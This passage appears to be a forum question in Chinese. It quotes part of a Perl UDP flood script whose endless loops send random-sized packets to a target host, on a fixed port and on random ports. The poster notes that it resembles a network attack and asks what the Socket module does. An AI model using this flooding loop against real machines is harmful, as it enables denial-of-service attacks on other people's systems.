}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

for (;;) {
}
会无限制的send消息给别的机器，类似于网络攻击

请问这个模块有什么用 use Socket;
